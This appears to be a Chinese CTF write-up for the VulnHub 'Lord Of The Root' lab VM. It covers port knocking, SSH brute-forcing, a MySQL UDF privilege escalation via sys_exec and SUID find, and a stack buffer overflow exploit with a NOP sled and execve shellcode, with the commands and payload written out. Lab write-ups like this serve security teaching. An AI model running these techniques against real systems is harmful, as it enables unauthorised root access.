VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)

信息收集

先对目标机器进行端口扫描(已知靶机Ip为192.168.43.137)

nmap  -sS -sV -A -p- -T5 192.168.43.137

扫描只给我们显示一个22的端口,其他信息啥也没有
然后通过靶机的给出smeagol的一个账户名
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第1张图片

尝试用九头蛇爆破

hydra -l smeagol -P /usr/share/wordlists/fasttrack.txt 192.168.43.137 ssh

发现也爆破不出,那我们去直接连接去试试

ssh [email protected]

VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第2张图片

给出了这么一个提示,这就用到新知识了。
easy as 1,2,3
看到这个1,2,3就想到是不是要用到端口碰撞?
什么是端口碰撞?
我个人最简单的理解就是防止攻击者通过进行端口扫描来扫描系统中潜在的可利用服务,因此就把端口给关闭了,至于怎么关闭,关闭了哪些就不清楚了,那么怎样才可以把这些隐藏的端口给开启呢?那就需要用到knock命令了
也就是说如果使用kncok命令对所隐藏的序列进行碰撞,如果序列碰撞对了就会开启他对应的端口。
比如使用kncok 192.168.43.137 8888 6666 7777 9999 -v,假设这4个端口的序列是对的,服务器收到你这个碰撞的话就会开启一个可用的端口,然后就可以通过nmap去扫描了。
那么上方提示1,2,3 所以我们是不是可用用kncok去试试呢?

kncok 192.168.43.137 1 2 3 4 -v

VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第3张图片

再用nmap去扫一下
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第4张图片

发现多了个1337的端口,说明我们这个序列就是碰撞对了。
然后去访问下1337的端口
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第5张图片

看图内内容,源码也没发现什么可用的点,然后我们去进行目录扫描试试
dirb 192.168.43.137:1337/
就发现了一个。。。
http://192.168.43.137:1337/images/
访问之后发现有三张图片,不能看源码,下载解析后也发现不了什么–放弃
然后再根目录看下robots协议 robots.txt
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第6张图片

访问后也发现一个图片,这个图片和我们之前扫到的图片一样,但是可以查看源码
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第7张图片

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

这个我猜测有可能是base64编码的,虽然末尾没有=号但是这是4的倍数,也是英文大小写数字都有的
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第8张图片

我们去尝试一下
在这里插入图片描述

解了之后发现又是个base64的,因为后面有个等于号,我这是用的谷歌浏览器插件base64解码的,base64解码的方式有很多比如burp suite,kali自带的base64解码都可以如:echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d
在这里插入图片描述

然后再次解码得出/978345210/index.php
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第9张图片

然后进行访问
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第10张图片

一个登录界面
我们想到的方式就是sql注入和弱口令
然后通过sql注入的方式去找到了用户和密码
再用九头蛇去对这些用户和密码进行暴力破解得到ssh账号密码
然后登录ssh,拿到shell
ssh [email protected]
密码是MyPreciousR00t
备注:这里比较简单就不详细讲解了。
拿到shell之后,我们就要想着去怎么提权,我们一个一个分析接着往下看。

UDF提权

1.查看mysql的历史安装版本

dpkg -l | grep mysql

2.查看mysql进程信息,运行权限是不是root

ps aux | grep root 

3.寻找是否可以找到mysql账号密码!

find / -name login.*

发现信息:/var/www/978345210/login.php
grep "password" -rn 存在password信息:
new mysqli(‘localhost’, ‘root’, ‘darkshadow’, ‘Webapp’);
4.登陆数据库之后查询是否有写入权限

show global variables like 'secure%';

5.查看插件的根目录

show variables like '%plugin%';

满足以上几点我们就可以确定是否udf提权,确定可以利用这个提权之后,我们可以去根据版本信息去谷歌找exp,也可以去lib_mysqludf_sys库找exp利用。
返回至我们kali
查看lib_mysqludf_sys库的目录查找

locate lib_mysqludf_sys

VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第11张图片

如上图显示,有dll和so文件,分为32位和64位的。然后我们查看下系统是多少位的。
getconf LONG_BIT —查看多少位,32位就选择32位so文件,dll是Windows,so是linux,我们是32位,就选择32位的so文件就可以。
在这里插入图片描述

创建一个表用来存放UDF exp二进制文件
create table test_admin(test_id longblob); #longblob的类型
把exp文件插入到表中

insert into test_admin values (load_file('/tmp/lib_mysqludf_sys_32.so'));

把表中的内容导出到plugin目录下

select * from test_admin into dumpfile '/usr/lib/mysql/plugin/sys_32.so';

然后创建自定义函数 sys_exec

create function sys_exec returns string soname 'sys_32.so';

查询创建好的函数

select * from mysql.func;

查询自定义函数并给find赋予suid的权限

select sys_exec('chmod u+s /usr/bin/find');

用find 执行获得root权限

find / -exec '/bin/sh' \;

缓冲区溢出提权

VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第12张图片

从shell下载本地kali的一个linpeas.sh一个枚举脚本
通过枚举脚本找到可能存在缓冲区溢出的文件,只要黄色的就表示是有漏洞的。
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第13张图片

如上图,枚举到一个版本漏洞,也可以通过版本漏洞去提权,这里比较简单就不演示了。我们重点讲缓冲区溢出
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第14张图片

可以看到这三个文件有问题,我们看下这个文件,红色的可编译包文件,可编译包文件有问题一般都是缓冲区溢出。
ls -alhR 递归查看所有文件以及子文件的详细内容,包含隐藏文件。
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第15张图片
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第16张图片

经过我们多次发现,这下面的三个文件每次的大小都在变动。
我们去看下是否开启了ASLR防护机制

cat /proc/sys/kernel/randomize_va_space

在这里插入图片描述

0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。
说明开启了ASLR防护机制的全随机模式,就是对这些可编译文件进行全随机的变动,这样就算对这些文件执行了恶意代码也不一定会执行。
我们先去看下这些文件溢出的点在哪里,为了方便查找我们的偏移量,我们先去找到那个大小不一样的文件(5.1k的),去把他的文件内容拷贝到本地进行查看,如果不拷贝下来,待会又会变动的。我们将文件进行base64编码(命令:base64 file )然后复制,到本地创建一个文件base64.txt,把base64编码好的内容复制到这个文件里,或者拷贝过去的时候用md5sum去校验文件md5的值,md5的值是不会变的,这也起到一个核实的作用。

cat base64.txt | base64 -d >test

查看base64的这个文件然后进行解码再把内容放到test这个文件中
我们现在来分析一下是否真的存在 缓冲区溢出
我们先来测试是否可以随便插入数据
./test
在这里插入图片描述

它说请输入字符串类型的值,那我们就来输入2000个A

./test $(python -c 'print( "a" * 2000) ')

直接给我返回报错了,输入20个a没有问题
说明啊是存在一个缓冲区溢出的,如果说是一个正常的程序就算输入多少个都不会报错,只是会有提示,而这是报错。
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第17张图片

这个时候我们就要去找到他的溢出点,也是就偏移量。

locate pattern_

找一下脚本,这两个脚本是用来找到缓冲区溢出偏移量的值的
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第18张图片

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb#用来生成偏移量的值
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb#对偏移量的值进行分析
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
生成一千位的偏移量的乱码值,是什么我们不用管
在这里插入图片描述

我们用gdb工具来进行分析
先来安装pwndbg插件
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
需要更新的都东西太多了。。。。。。。。。
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第19张图片

然后我们用gdb工具去运行test文件,然后运行run(run后面加上我们生成的1000个乱码值)
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第20张图片

执行后看下图
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第21张图片

EIP 显示的是0x41376641
就是十六进制41376641,然后对41376641进行分析
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
在这里插入图片描述

执行后,他说这个我们这里1000个乱码值中的171位是存在溢出的,也就是说偏移量就在这个地方。
然后我们再根据得到的偏移量后再加上其他的内容
run $(python -c ‘print( “A” * 171 + “B” * 4)’)
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第22张图片

补充一下知识点:
ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
ESP始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。

EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。
EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。

EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。
可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。

如上图所示,我们输入的171个A都在EBP,输入的B都属于在EIP,也就是说我们会从栈底EBP到栈顶ESP再到溢出执行EIP,
也就是EBP–》ESP–》EIP。那么我们知道ESP的地址就相当于知道了我们执行缓冲区溢出shellcode的地址。也就是说跳到ESP这个地址后,再往下走一步就会跳到EIP,执行我们的恶意代码。
通俗简单一点也就是说我们在171后面输入的值就会去执行。
回到上面所说的,因为有ALSR防护机制,就算对这些文件执行了恶意代码也不一定会执行。
那么我们就要去绕过ALSR防护机制。
需要进行nop来爆破一个空间出来!
run $(python -c ‘print(“A” * 171 + “B” * 4 + “\x90” * 2000)’)#这里加入了2000个\x90
\x90,这是nop空命令,作为缓冲作用的。也就是加入了2000个空地址。
VulnHub-Lord Of The Root_1.0.1(打个靶机玩一下)_第23张图片

ESP地址都被我们nop空地址给占用了。
当ESP指向该地址处后,就会执行栈堆空间的shellcode获得shell。
那么shellcode要怎么生成呢,我们这个gbd工具是存在很多shellcode可使用的
执行:
shellcode search exec –-- 使用 ‘exec’ 搜索所有 shellcode
发现841可用
shellcode display 841 –-- 显示找到的代码的来源,找到841
然后根据841生成代码
shellcode generate x86/linux exec --– 生成shellcode
生成shellcode
shellcode = (“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80”)
然后还有最后一步:
检查文件是否做了安全措施:
checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled
都禁用了,如果开启我们还要进一步去绕过。竟然是禁用,我们就不用管了。
然后再对ESP进行分段
在这里插入图片描述

ffffc4d0–ESP地址进行分段
ff ff c4 d0
然后我们再去运行,为了让shellcode稳点运行,在nop上再多加一点空间,用了10000个空地址,然后再加上我们生成的shellcode。
run $(python -c ‘print( “A” * 171 + “\xd0\xc4\xff\xff” + “\x90” * 10000 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80”)’)
上面那个语句就是说执行了171个A之后就会走到ESP,到了ESP之后就会执行EIP,为什么我们没有直接在171之后加上shellcode然后执行呢,因为我们要找到ESP的地址,到了ESP的地址后,再做一次跳转,就到了我们shellcode这里,也就是EIP。
执行之后就直接拿到了root权限。拿下!

你可能感兴趣的:(渗透相关,渗透测试)